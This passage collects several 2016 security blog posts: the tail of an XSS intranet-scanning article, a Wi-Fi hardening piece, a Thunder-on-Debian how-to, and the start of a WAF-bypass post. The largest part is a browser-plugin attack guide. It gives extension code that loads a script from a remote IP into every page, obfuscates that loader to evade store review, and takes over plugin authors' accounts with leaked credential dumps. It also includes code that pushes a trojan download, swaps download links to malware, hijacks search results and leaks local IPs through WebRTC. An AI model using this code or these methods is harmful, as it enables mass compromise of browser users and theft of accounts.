CMS-specific JS paths. A lot of work. I was going to go with that, but a few days ago I was bored and scrolling my QQ logs and found this: ```js document.addEventListener("visibilitychange", function() { document.title = document.hidden ? 'iloveyou' : 'metoo'; }); ``` This is an HTML5 API. I realized I could use it to upload images without the user noticing. When the user switches to another tab, document.hidden is true. Then we know the user is not looking at the XSS page. We can do anything and they will not notice. Roughly: ```js document.addEventListener("visibilitychange", function() { if(document.hidden){ var htmlText = $("body").html(); $("body").empty(); $("body").append(""); // canvas captures the page; see: http://leobluewing.iteye.com/blog/2020145 }else{ $("body").empty(); $("body").append(htmlText); } }); ``` Why it failed: 2. As mentioned earlier, img loading is slow. On Maxthon especially, scanning three or more IP ranges takes about 30 minutes. This method would require the user not to open the page for half an hour 3. canvas cannot read cross-origin images, so it cannot read the image the img tag loaded In the end I went with Weige's method. ## 0x14 Closing Special thanks to @呆子不开口. This article was exhausting to write. Because img requests take so long, every bug fix meant waiting 9-10 minutes. It is the longest article I have written so far. I was also learning to drive, so I had even less time. It took about a month. I had promised the editor the 15th and kept slipping. Sorry about that. There are still some frontend, backend, and database bugs. If this platform hits 1,000 installs I will keep updating it. Download URL: --- # Company Wi-Fi security - URL: https://bugs.cc/posts/company-wifi-security/ (Markdown: https://bugs.cc/posts/company-wifi-security/index.md) - Language: English - Published: 2016-12-13 - Tags: wireless security - Translation (Chinese): https://bugs.cc/zh/posts/company-wifi-security/ ## 0x0 Preface *** A lot of companies have no security team. Ops owns all of security, so security takes a hit. I've been doing security assessments for various companies lately, so I'm writing down what I've learned. Feel free to fill in anything I missed. ## 0x1 Wireless security *** A lot of companies don't take wireless security seriously. Companies with money buy gear. Companies without throw people at it. However skilled the people are, without equipment, manpower alone doesn't help much. Most company Wi-Fi auth is basically WPA/WPA2 plus a web secondary authentication, and people think that's enough. It isn't. You can crack WPA with aircrack-ng, airmon-ng, airodump-ng, and aireplay-ng. For WPA2, dictionary brute force. You can also spoof a Wi-Fi network with a Wi-Fi Pineapple. And everyone knows the "Wi-Fi Master Key" app: try that first, and only crack it if Master Key can't. After you join the Wi-Fi, you'll be told to do web secondary authentication. You can ignore that. It doesn't do anything useful. Because auth is WPA/WPA2, once you join the Wi-Fi the switch hands you an intranet IP right away (in my cases it was a switch; it could also be a router). Why would an attacker want your internet access? They want intranet resources. Not being able to reach the internet is not a problem for an attacker. When I assessed one company, I cracked it with Master Key, then MITM sniffed. In under two minutes I had admin access to their company website backend. Web auth, as I see it, is not aimed at attackers. It's aimed at employees. Attackers don't need internet access. Employees do. Here's a diagram I drew: ![](https://bugs.cc/images/company-wifi-security/web-auth-lan-access.png) [Mind map URL](https://www.processon.com/view/556d3cd0e4b09c41cc41b26e) After the attacker joins the Wi-Fi, they still can't pass web secondary authentication, but they are already on the intranet and can reach any internal resource. Suggested fixes: 1. Replace WPA/WPA2 wireless auth with 802.1X (802.1X wireless auth needs switch support) 2. Buy wireless detection / defense gear 3. Wireless cannot reach intranet resources; only wired can (isolate the problem physically) For 802.1X, the flow looks like this: ![](https://bugs.cc/images/company-wifi-security/802-1x-auth-flow.png) [Mind map URL](http://www.processon.com/view/link/556d5c6be4b09c41cc43c0e3) Even if the attacker joins the company Wi-Fi, they cannot pass 802.1X, so company gear (routers, switches) will not grant an intranet IP or an external egress IP. ## 0x2 Deeper wireless security *** What I covered above is only about managing the Wi-Fi the company itself exposes. Of those three fixes, the first is the most convenient and doesn't cost money (the network gear has to support 802.1X wireless; if it doesn't, you still have to spend). The second, companies that don't want to spend won't pick. And after you buy it you still have to configure it. The upfront work is huge. The third is a lot of work: you have to re-architect the company network. A colleague and I started after we got off at 6pm and only finished just before the next workday. If the company doesn't want to spend, or ops doesn't want to re-architect, the first option is a good choice. But there's another problem: 360 / Baidu portable Wi-Fi. That thing makes already-insecure companies even worse. Once a 360 / Baidu portable Wi-Fi stick is plugged into a company PC, it starts the ICS (Internet Connection Sharing) service plus the wireless NIC's AP mode. After you join that portable Wi-Fi, you're on a small LAN. From there we can compromise the PC with the stick plugged in, then use it to move through the rest of the company. If you only need a particular kind of access, you don't need to compromise that PC. Say you need this site's admin backend, but logging in requires the egress IP to be the company's public IP. In that case we don't need to compromise the PC with the portable Wi-Fi. Why? I drew a diagram: ![](https://bugs.cc/images/company-wifi-security/portable-wifi-attack.png) [Mind map URL](https://www.processon.com/view/556d175ee4b0546a904aa2bb) After the attacker joins this Wi-Fi, there is no web secondary authentication, because they're using the employee's network, and the employee has already authenticated. The employee is on the company intranet, the intranet has a single egress IP, and the server only allows that IP. Other IPs can't reach the server. There are plenty of fixes online. Look up a tutorial. If you have a better solution, I'd like to hear it. My thinking is limited. Sorry for any gaps. --- # Browser plugin attack vectors - URL: https://bugs.cc/posts/browser-plugin-attack-vector/ (Markdown: https://bugs.cc/posts/browser-plugin-attack-vector/index.md) - Language: English - Published: 2016-10-05 - Tags: web security, browser plugin - Translation (Chinese): https://bugs.cc/zh/posts/browser-plugin-attack-vector/ ## 0x0 Preface I have said "browser plugin attack methods" in many places. This post walks through the attack techniques and the attack code that come from browser plugins. The material here can open a new attack path, and it also works well for APT. ## 0x1 Become the attacker I asked around in a group earlier. A lot of people had only heard of this. They knew the idea, but they had never tried it, and they underestimated it. Public cases of this technique are also scarce. Without offense there is no defense. Chrome has seen similar attacks, but those payloads did very little. So in this post we become the attacker first, and study the technique from that side. When I mentioned this technique before, it was always a short section inside another article. Now I am writing a dedicated post for it, and I hope people take it seriously. In most people's minds, a browser plugin attack means planting JavaScript in a plugin and stealing cookies. It is not that simple. Everyone knows a "browser plugin attack" needs the user to install your plugin. Everyone also thinks that is the only way. It is not. Here are 4 ways to get a plugin installed: > Trick the user on the page: write "to view this page, please download xx plugin" > Wait passively, like Jiang Taigong fishing: the plugin sits there, and if you don't install it, someone else will > Take over the plugin author's account via a credential dump, plant a backdoor, then ship an update > Control third-party JavaScript that the plugin loads We have four methods. Let's go through them one by one. ## 0x1.1 Trick users on the page: "to view this page, please download xx plugin" This is similar to [Forcing users to install malicious Chrome extensions, attackers go aggressive](http://www.cnbeta.com/articles/470593.htm). We will implement it and improve it a bit. The example here uses a Maxthon browser plugin. ### 0x1.1.1 Detect whether a plugin is installed First, the directory layout of this attack: Website page: `index.html` Plugin directory: ```text icons/ directory that stores the plugin logo icons/icons.svg plugin logo file def.json the plugin's main control file, which holds the entire plugin configuration Code: [ { "type": "extension", "frameworkVersion": "1.0.0", "version": "1.0.0", "guid": "{7c321680-7673-484c-bcc4-de10f453cb8e}", "name": "plug_setup", "author": "Black-Hole", "svg_icon": "icon.svg", "title": { "zh-cn": "Trick the user into installing a plugin" }, "description": { "zh-cn": "Trick the user into installing a plugin" }, "main": "index.html", "actions": [ { "type": "script", "entryPoints": [ "doc_onload" ], "js": [ "base.js" ], "include": ["*"], "includeFrames": true } ] } ] base.js JavaScript code to run every time a page is opened ``` I went through the entire Maxthon plugin API docs. There is nothing like the Chrome plugin API: ```js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { if(request.act == 'ping'){ sendResponse({"act": "tong"}); } }) chrome.runtime.sendMessage("extensionId", {"act": "ping"}, function(response){ if(response && response.act == 'tong'){ console.log('installed'); }else{ console.log('not installed'); } }); ``` Since there isn't one, we have to solve it with a more hacky approach. I used JavaScript globals plus the `setTimeout` function. First, write this in the plugin's `base.js`: ```js var script = document.createElement('script'); script.src = "http://119.29.58.242/control.js"; document.body.appendChild(script); ``` The snippet above appends `` after the `body` tag on every page. The code in `http://119.29.58.242/control.js` is: ```js window.plug_setup = function(){ } ``` After that, when the user opens any page, that page's globals include a function named `plug_setup`. It does nothing, so it is easy to miss. It only matters on specific pages. Then on our site we write: ```js setTimeout(function(){ if(typeof(plug_setup)!="function"){ alret("Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and refresh this page."); } },1000) ``` Because of delay from page load and network, we set the check to run after 1 second. After 1 second it runs ```js if(typeof(plug_setup)!="function"){ alret("Due to a site upgrade, the site now integrates a browser plugin for a better experience. Please install the xx plugin and refresh this page."); } ``` If there is no global `plug_setup` function at that point, it runs the `alert` below and tells the user they have to install the plugin to visit. ### 0x1.1.2 Trick users into a semi-automatic install of a chosen plugin If you send users to the plugin page and let them read the details and reviews before they install, the success rate drops a lot. It is also bad conversion. Don't Make Me Think has this line: "Don't make users think." That is gospel for site design, and it works for attacks too. The less a user thinks, the more likely they walk the path you designed. So I looked at the JavaScript on Maxthon's plugin install page. The install API can run on any page. If an attacker puts that JavaScript on a page, Maxthon pops the same install dialog: ![](https://bugs.cc/images/browser-plugin-attack-vector/maxthon-install-dialog.png) I tightened it a bit. The code: ```js var ERRORTEXT = 'Not Maxthon or version too low. Click here to get the latest Maxthon' function getInstallMessage(that, messagePack, type) { if (external.mxCall) { var packMxAttr = $(that).closest(messagePack); if (type === 'skin') { // browser framework version var frameVersion = external.mxCall('GetSkinFxVersion'); } else if (type === 'app') { // browser framework version var frameVersion = external.mxCall('GetAppFxVersion'); // remove once the next version ships -- if (frameVersion === '1.0.0') { frameVersion = '1.0.1'; } // -- remove once the next version ships } // plugin package framework version var packMxVersion = packMxAttr.attr('file_def'); // plugin package url var packUrl = packMxAttr.attr('file_url'); // plugin id var packId = packMxAttr.attr('file_id'); installPack(frameVersion, packMxVersion, packUrl, type, packId); } else { resultPop.show('Browser mismatch', ERRORTEXT, 'OK'); } } function installPack(frameVersion, packMxVersion, packUrl, type, packId) { var isInstall = returnIsInstall(frameVersion, packMxVersion); if (isInstall !== -1) { if (type === 'skin') { external.mxCall('InstallSkin', packUrl); } else if (type === 'app') { external.mxCall('InstallApp', packUrl); } getUser(packId); } else { resultPop.show('Browser mismatch', ERRORTEXT, 'OK'); } } function returnIsInstall(frameVersion, packMxVersion) { var fvItem; var pvItem; var frameVersion = getVersionArr(frameVersion); var packMxVersion = getVersionArr(packMxVersion); // define the incrementing index. var i = 0; while (1) { fvItem = frameVersion[i]; pvItem = packMxVersion[i]; if (fvItem == null && pvItem == null) { return 0; } if (fvItem == null) { return -1; } if (pvItem == null) { return 1; } if (fvItem != pvItem) { var value = fvItem > pvItem ? 1 : -1 return value; } i++; } } function getVersionArr(version) { var versionArr = version.split('.'); for (var i = 0; i < versionArr.length; i++) { versionArr[i] = parseInt(versionArr[i], 10); }; return versionArr; } function getUser(id) { $.ajax({ type: 'GET', url: 'http://extension.maxthon.cn/common/ajax.php?id=' + id, data: 'data', dataType: 'json', success: function (data) {}, error: function () {} }); } $(document).delegate('#app-install', 'click', function (event) { event.preventDefault(); event.stopPropagation(); getInstallMessage(this, 'a[file_def]', 'app'); }); ``` You can see the original from line 1256 to 1600 in [http://extension.maxthon.cn/js/temp.js](http://extension.maxthon.cn/js/temp.js). The entry point in this code is ```js $(document).delegate('#app-install', 'click', function (event) { event.preventDefault(); event.stopPropagation(); getInstallMessage(this, 'a[file_def]', 'app'); }); ``` When the DOM with id `app-install` is clicked, it calls `getInstallMessage`, which calls `installPack`, which calls `returnIsInstall` and `getUser`. `returnIsInstall` calls `getVersionArr`. The core is `external.mxCall('InstallApp', packUrl);` in `installPack`. You cannot call it directly, or the install fails. `packUrl` also has to be under `http://extension.maxthon.cn`, or the install fails. You have to submit the plugin to the Maxthon plugin platform first. As I said, it only fires on a click of the `app-install` DOM. I am lazy, so I copied Maxthon's HTML and hid it: ``. `file_id` is ``. Looks like a Maxthon developer left the PHP unparsed, so it showed up as HTML. I could not be bothered to fix it, so I left it. Then I added `$("#app-install").click();` after their code so it fires on its own. Full site code: ```html Trick the user into installing a plugin Trick the user into installing a plugin demo1 ``` After you open it: ![](https://bugs.cc/images/browser-plugin-attack-vector/fake-upgrade-alert.png) ![](https://bugs.cc/images/browser-plugin-attack-vector/addon-download-progress.png) ![](https://bugs.cc/images/browser-plugin-attack-vector/lol-plugin-install-prompt.png) The LoL match-history plugin is one I uploaded earlier (do not install it). In a real attack you would pick a less silly name, like "site enhancement tool". At first I wanted to try clickjacking, so the plugin could install without the user noticing. The installer is not in the page, so you cannot hijack it. I dropped that. That is the page that makes the user think as little as possible. Publish it and wait for someone to take the bait. You can combine this with a watering-hole in an APT and aim it at a specific group or person. ### 0x1.2 Wait passively This is the wide net. Use it when you have no specific group or person, and you just want to attack or research. A few tricks. When a developer uploads a plugin, Maxthon reviewers look at it. Harmful code does not get through. Looks fine at first glance, but there is no follow-up. > No periodic automated scan of plugin code > Even a mini-game can request the highest privileges in `def.json` > When there is enough code, the developer can encrypt and pack the code that harms user requests and slip it past reviewers. (To quote the great people's leader Chairman Mao: struggle against rules, and the joy is endless. Struggle against code, and the joy is endless. Struggle against people, and the joy is endless.) > The plugin can load third-party JavaScript. The third-party URL can point at any domain. There is no check that the URL or the JS file is trusted. With those issues, we can write a plugin that harms the user and still get past review. In the plugin source `base.js` we write ```js //xxxxx other extraneous code var script = document.createElement('script'); script.src = "http://your-domain/javascript-filename.js"; document.body.appendChild(script); //xxxxx other extraneous code ``` If you are not comfortable with that, you can encrypt it into something like: ```js eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29): c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o 7=["\\e\\c\\g\\b\\a\\9","\\c\\g\\6\\8\\9\\6\\q\\h\\6\\j\\6\\f\\9","\\e\\g\\c","\\m\\9\\9\\a\\t\\i\\i\\d\\n\\j\\8\\b\\f\\i\\l\\8\\s\\8\\e\\c\\g\\b\\a\\9\\r\\b\\h\\6\\f\\8\\j\\6\\u\\l\\e","\\8\\a\\a\\6\\f\\d\\w\\m\\b\\h\\d","\\x\\n\\d\\v"];o k=p[7[1]](7[0]);k[7[2]]=7[3];p[7[5]][7[4]](k)',34,34,'||||||x65|_0|x61|x74|x70|x69|x63|x64|x73|x6E|x72|x6C|x2F|x6D|script|x6A|x68|x6F|var|document|x45|x66|x76|x3A|x2E|x79|x43|x62'.split('|'),0,{})) ``` The method: first run the normal JavaScript through [javascriptobfuscator](https://javascriptobfuscator.com/Javascript-Obfuscator.aspx) and get: ```js var _0x67c5=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x64\x6F\x6D\x61\x69\x6E\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x66\x69\x6C\x65\x6E\x61\x6D\x65\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];var script=document[_0x67c5[1]](_0x67c5[0]);script[_0x67c5[2]]= _0x67c5[3];document[_0x67c5[5]][_0x67c5[4]](script) ``` As in: ![](https://bugs.cc/images/browser-plugin-attack-vector/javascriptobfuscator-encode.png) That still looks a bit suspicious... so run it through [Chinaz](http://tool.chinaz.com/js.aspx) and turn it into the usual packed form: ![](https://bugs.cc/images/browser-plugin-attack-vector/chinaz-js-encrypt.png) Looks much more normal. Buried in a lot of other code, reviewers will have a hard time finding it (and they will not look that hard). After you submit, the Maxthon plugin homepage shows recently updated plugins. Each week, add or delete a little code and push an update. Your plugin stays on the homepage year-round, and it is hard not to get installs. ### 0x1.3 Take over a plugin author's account via a credential dump This is my favorite. I have to admit, getting something for nothing feels great. Maxthon does not require a key to update a plugin the way Chrome does, so this "logic bug" exists. There is no check that the current user is the author, which is why this method works. I joined the Maxthon plugin author group: 203339427 Most people in there are plugin developers. Take their emails and QQ numbers, look them up in a credential dump, and try the passwords. You often do not know which email the author used, so try QQ Mail first. It says the account or password is wrong, and you cannot tell which. Go to [Maxthon account center - forgot password](https://my.maxthon.cn/recover.html) and enter the QQ email. If it says the username does not exist, search the web for the author's other emails and try those (for many of the accounts I tested, I had to search for another email). I submitted this as a vulnerability to WooYun, and Maxthon did not really respond. I wanted to log into another user's account to demonstrate it, but WooYun was down at the time, so I could not see my old report. I also did not keep a copy of the accounts and passwords from the dump. They only lived in the WooYun report. So here I will use my own account as the example: ![](https://bugs.cc/images/browser-plugin-attack-vector/uploaded-plugins-list.png) There is an `Update file` action. Download the package, plant a backdoor in the JavaScript, and upload it again. That is 1000+ users under control. The second review of a plugin is even looser. When you open Maxthon, it checks whether your plugins are up to date. If not, it silently installs the latest version in the background. That helps us a lot. After we push an update, we only need the user to reopen Maxthon for the attack to land. When you update, treat the account as your own, and write the 0x1.2 code into it. That is enough. ### 0x1.4 Control third-party JavaScript loaded by a plugin This one is more work. There are two ways to get the third-party JavaScript, depending on the case: > No visible page > Has a visible page #### 0x1.4.1 No visible page Like I said above, in the plugin `def.json`: ```json "actions": [{ "type": "script", "entryPoints": [ "doc_onload" ], "js": [ "base.js" ], "include": ["*"], "includeFrames": true }] ``` Then in `base.js` load the third-party JavaScript: ```js var script = document.createElement('script'); script.src = "http://119.29.58.242/control.js"; document.body.appendChild(script); ``` For this kind, download the plugin, then decrypt it with Maxthon's official [MxPacker](http://bbs.maxthon.cn/thread-664-1-1.html). First look at which JavaScript file the `js` field under `action` in `def.json` points to, then analyze that. You can also search file contents with other tools for the keyword `document.createElement`. After you find it, the rest is grunt work: break into the site that hosts that third-party JavaScript, then change the file. #### 0x1.4.2 Has a visible page This is a bit easier than 0x1.4.1. The snippet changduanduan posted on zone lists every third-party JavaScript on the page: ```js for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){ var a = document.createElement('a'); a.href = tag.src||tag.href||tag.data; if(a.hostname!=location.hostname){ console.warn(location.hostname+' found third-party resource ['+tag.localName+']:'+a.href); } } ``` Usage: ![](https://bugs.cc/images/browser-plugin-attack-vector/kuaidi-plugin-detail.png) ![](https://bugs.cc/images/browser-plugin-attack-vector/inspect-plugin-page.png) ![](https://bugs.cc/images/browser-plugin-attack-vector/console-typeerrors.png) ![](https://bugs.cc/images/browser-plugin-attack-vector/third-party-resource-log.png) When you use it, some plugins load their own JavaScript, or JavaScript from Baidu, 360, and other third-party sites that are hard to break into. That is when it gets slow and painful. ### 0x1.4.3 Summary of controlling third-party JavaScript loaded by a plugin This method is tedious. Pros: > Hard to detect > Hard to trace back Drawbacks: > Time-consuming > Low success rate Use this when you are targeting one person or group, you only know the names of the plugins they installed, and you have no other option. ## 0x2 Hidden APIs *** Some APIs return fairly private data, so Maxthon left them out of the API docs. They still exist. On a normal page, open Inspect, go to Console, type `external`, and you can see some of Maxthon's hidden APIs. There is another set that only exists on plugin pages. Plugin APIs change in almost every version. Here is the 3.x API: ```js maxthon.system.Utility.getMacAddresses() // get the user's MAC address maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getAvailableFontFamilyNames() // get all of the user's current fonts maxthon.system.GraphicsEnvironment.getLocalGraphicsEnvironment().getSystemFontName() // the font the user is currently using maxthon.io.File.createTempFile().name_ // get the user's temp directory maxthon.io.File.createTempFile().isFile // check whether the name_ file exists, but here I cannot reset the value of name_ ``` Here is the latest 4.x API: Maxthon split the old functions and objects off the `maxthon` object into other places (they are still there, I do not know why) ```js mx.app.getAvatar() // get the currently logged-in user's avatar (data: image/png;base64 format) mx.app.login() // check whether the user is logged into Maxthon (returns true if logged in, false if not) mx.app.getProfile() // get the user's current state (whether logged in, uid, username) mx.app.getSystemLocale() // get the system language (e.g. zh-cn) mx.app.showUserPanel() // show the user menu (equivalent to clicking the avatar in the top-left) // the code above requires running mx.app.user() and mx.app.locale() first clientInformation.plugins // plugins the browser supports (you can see which software the user has installed) clientInformation.mimeTypes // list the supported applications (you can see which software the user has installed) ``` Screenshots of the last two APIs: ![](https://bugs.cc/images/browser-plugin-attack-vector/plugins-api-output.png) ![](https://bugs.cc/images/browser-plugin-attack-vector/mimetypes-api-output.png) Put this in a plugin and listing the software a user has installed is trivial. There is basically no privacy left. ## 0x3 Attack vectors *** We will skip the usual cookie stealing and cover something else. Everything above is about attacking the user through a browser plugin, but the attack surface is still the browser. Who wouldn't want to go further and take over the machine? The rough ideas: > Pop a dialog saying they need to download software, which is actually a trojan > Attack with a browser vulnerability > Replace download links ### 0x3.1 Pop a dialog to trick users into downloading software This step is simple. Just a bit of JavaScript: ```js (function(){ // closure, to prevent variable pollution alert("Please download the xxx security plugin to stay safe on this site"); location.href = "http://baidu.com/download/xxxx.exe"; })() ``` You cannot keep popping the download, or people will get suspicious. A tighter version: ```js (function(){ // closure, to prevent variable pollution var downDate = new Date(); // get the current time var downDateY = String(downDate).split(" ")[3]; // year var downDateM = String(downDate).split(" ")[1]; // month var downDateD = String(downDate).split(" ")[2]; // day var downDateT = String(downDate).split(" ")[4].split(":"); // time if(location.href != "https://baidu.com/"){ // if it is not Baidu, do not run the code below return fasle; } if(downDateY == "2016" && downDateM == "Oct" && downDateD == "28" && downDateT[0] == "21" && downDateT[1] < "30"){ alert("Please download the xxx security plugin to stay safe on this site"); location.href = "http://baidu.com/download/xxxx.exe"; } })() ``` Do not write it the way I did in a real payload. I wrote it this way because the logic is simple, but the code is long. The meaning: if the current site is `https://baidu.com/`, then check whether the time is between 9:00 PM and 9:30 PM on 28 Oct 2016. If it is, pop the dialog and make the user download the trojan. ### 0x3.2 Attack with a browser vulnerability You have to find the bugs yourself. I will not go further here. You can read Blast's book Browser Security. You can also look at Hei Ge's earlier PPT, "The browsers we crossed last year". Maxthon already had an issue with `mxCall` on a privileged origin that let you run arbitrary commands. Dig around. You will find surprises. ### 0x3.3 Replace download links For replacement, first collect a few high-traffic download sites. A few I listed: > [ZOL Downloads - free and portable software](http://xiazai.zol.com.cn/) > > [Skycn download site](http://www.skycn.com/) > > [Onlinedown software park](http://www.onlinedown.net/) > > [hao123 download site](http://www.skycn.net/) > > [PConline download center](http://dl.pconline.com.cn/) > > [Baidu software center](http://rj.baidu.com/) There are many more. I will not list them all here. Next we write the JavaScript that replaces links on these download sites. First, a snippet that checks whether the current URL is a download site ```js (function(){ var downloadWebsite = [ 'http://xiazai.zol.com.cn', 'http://www.skycn.com', 'http://www.onlinedown.net', 'http://dl.pconline.com.cn', 'http://rj.baidu.com' ]; // download-site URLs to replace var replaceDownloadUrl = "http://xxxx.com/download/soft.rar"; // the software to swap in switch(location.origin){ // check the current URL to see whether it is a download site; if so, enter its handler case downloadWebsite[0]: var download1 = document.getElementById("downloadTop"); var download2 = document.querySelectorAll(".down-alink a"); var download3 = document.querySelectorAll(".down-alink01 a"); if(download1 != null && download2.length != 0 && download3.length != 0){ download1.href = replaceDownloadUrl; for(var j = 0;j < download2.length;j++){ download2[j].href = replaceDownloadUrl; } for(var k = 0;k < download3.length;k++){ download3[k].href = replaceDownloadUrl; } } break; case downloadWebsite[1]: var download1 = document.querySelectorAll(".ul_Address li a"); if(download1.length != 0){ for(var j = 0;j < download1.length;j++){ download1[j].href = replaceDownloadUrl; } } break; case downloadWebsite[2]: var download1 = document.querySelectorAll(".softinfoBox .meg a"); var download2 = document.querySelectorAll(".downDz a");; if(download1.length != 0 && download2.length != 0){ download1[0].href = replaceDownloadUrl; for(var j = 0;j < download2.length;j++){ download2[j].href = replaceDownloadUrl; } } break; case downloadWebsite[3]: var download1 = document.querySelectorAll(".dlLinks-a a"); if(download1.length != 0){ for(var j = 0;j < download1.length;j++){ download1[j].href = replaceDownloadUrl; } } break; case downloadWebsite[4]: var download1 = document.querySelectorAll(".fast_download"); var download2 = document.querySelectorAll(".normal_download"); if(download1.length != 0 && download2.length != 0){ download1[0].href = replaceDownloadUrl; download2[0].href = replaceDownloadUrl; } break; } })() ``` ### 0x3.4 Change Baidu ranking If you want SEO, you can use this: ```js (function(){ if(location.origin == "https://www.baidu.com" && location.pathname == "/s"){ // when it is a Baidu search page document.querySelectorAll("#content_left h3 a")[0].href = "http://360.cn/"; // replace the first search result with the given URL } })() ``` ### 0x3.4 Intranet sniffing This method needs more space, so I will cover it in the next chapter. Below is getting the intranet IP with WebRTC: ```js var ipList = []; var webrtcxss = { webrtc : function(callback){ var ip_dups = {}; var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; var servers = undefined; if(window.webkitRTCPeerConnection){ servers = {iceServers: []}; } var pc = new RTCPeerConnection(servers, mediaConstraints); pc.onicecandidate = function(ice){ if(ice.candidate){ var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/; var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; pc.createDataChannel(""); pc.createOffer(function(result){ pc.setLocalDescription(result, function(){}); }); }, getIp : function(){ this.webrtc(function(ip){ console.log(ip) }); } } webrtcxss.getIp(); ``` You can take this and think about more interesting uses. ## 0x4 Closing *** There are many more APIs and attack methods waiting to be found. What I can do is open a new attack surface, so we are not stuck with the methods we already know. --- # How to log in to Thunder under Debian - URL: https://bugs.cc/posts/how-to-use-thunder-login-account-under-debian/ (Markdown: https://bugs.cc/posts/how-to-use-thunder-login-account-under-debian/index.md) - Language: English - Published: 2016-08-24 - Tags: linux - Translation (Chinese): https://bugs.cc/zh/posts/how-to-use-thunder-login-account-under-debian/ ## Intro Today I saw someone share the movie "Now You See Me 2" on Qzone. ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/qzone-movie-share.png) mongoose has been annoying me these past few days, and I wanted to watch a movie to relax, but I still have to write code, so I figured I would download the movie and watch it after the bug was fixed. So here comes the problem. ## Download Thunder Maybe it is a regional thing, but Thunder from the official site is very slow, so I used Baidu Manager to download it. [fuck me down XunLei](http://112.29.142.181/sw.bos.baidu.com/sw-search-sp/software/66cfb7c33b400/Thunder_9.0.12.332_baidu.exe) ## Setup Just use Wine to run the exe. I will not cover that here. Look it up on Baidu yourself. ## Install notes Do not use `sudo wine Thunder_9.0.12.332_baidu.exe`. Use `wine Thunder_9.0.12.332_baidu.exe`, or Thunder will be installed under the root user. ## How to launch After Thunder is installed, it puts a shortcut on your desktop. If it does not, do what I did: 1. `cd ~/.wine/drive_c/Program\ Files\ \(x86\)/Thunder\ Network/Thunder9/Program/` 2. `wine Thunder.exe` Then it started successfully. Like this: ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/thunder-main-window.png) ## Why is there a black window? The black window is a browser, Thunder's bundled XBrowser. My guess is it is a DLL issue. When I have time, I will find a Windows machine and see which DLLs this browser depends on. The browser does not matter. You can still download without it. ## Login Here is the important part. When you click login, it asks for the account and password. ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/thunder-login-dialog.png) You will notice that the string you type does not show. Don't panic. It is like typing a password in a Linux terminal. You did type it, it is just invisible. Then you can log in. But sometimes a captcha box shows up. ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/blank-captcha-dialog.png) Then you find, annoyingly, that the captcha has gone to shit. So now we solve that. Think about how a captcha works. When I click "Can't see it, get another", it must send a packet, then return a new captcha packet. We only need to intercept that data. I used Wireshark to capture packets. To install Wireshark on Debian, add the Kali repos, then `sudo apt-get update&&sudo apt-get install wireshark` is enough. Remember to run it with `sudo wireshark`. ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-capture-interfaces.png) My interface here is wlan0. Yours may differ. Pick the one that looks right. Then you will see a lot of packets. ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-packet-capture.png) At this point, in Filter, enter `http&& http contains "image/jpeg"` Then open Thunder and log in. When the captcha shows up, switch back to Wireshark and look. ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-jpeg-filter.png) Select it (click once so the background turns blue). Then File->Export Objects->HTTP ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/wireshark-export-objects.png) Select the one whose address is `verify2.xunlei.com` and whose Content Type is `image/jpeg`, then save as xx.jpg. ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/http-object-list.png) ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/save-object-dialog.png) ![](https://bugs.cc/images/how-to-use-thunder-login-account-under-debian/saved-captcha.png) Use the captcha to log in. --- # Notes on bypassing WAFs (Web Application Firewalls) - URL: https://bugs.cc/posts/talk-about-how-to-bypass-waf/ (Markdown: https://bugs.cc/posts/talk-about-how-to-bypass-waf/index.md) - Language: English - Published: 2016-08-20 - Tags: web security, waf - Translation (Chinese): https://bugs.cc/zh/posts/talk-about-how-to-bypass-waf/ ## 0×01 Intro This talk is mainly about a way of thinking, not handing you ready-made code. In many people's eyes a WAF (Web Application Firewall) is another word for "shameless". Without it, our "world" might be a nicer place. Too bad. Without it, how would the big sites survive. That said, I am on your side, so today we talk about bypassing WAFs. I called it a ramble because this talk also goes into webkit, nginx&apache, and more. Let's get started :) ## 0x02 Facing WAF As the first section, a few simple ways to bypass a WAF. ### 1. Case swapping The name says it: uppercase to lowercase, lowercase to uppercase. For example: ```text SQL: sEleCt vERsIoN(); ‍‍XSS: ``` Why it works: the WAF regex is incomplete, or it never lowercases / uppercases. ### 2. Junk-character pollution Nulls, spaces, TAB/newlines, comments, special functions, and so on. For example: ```text SQL: sEleCt+1-1+vERsIoN /*!*/ ();`yohehe‍‍ ‍‍SQL2: select/*!*/`version`(); XSS: covered in detail in the next section ``` ### 3. Character encoding Encode some of the characters. Common SQL encodings: unicode, HEX, URL, ASCII, base64. XSS encodings: HTML, URL, ASCII, JS encoding, base64, and so on ```text SQL: load_file(0x633A2F77696E646F77732F6D792E696E69) ‍‍‍‍XSS: <%2Fscript> ``` Why it works: use the browser's base conversion or language encoding rules to bypass the WAF. ### 4. Piecing together If some string is filtered, we put a piece of the original string on both sides of 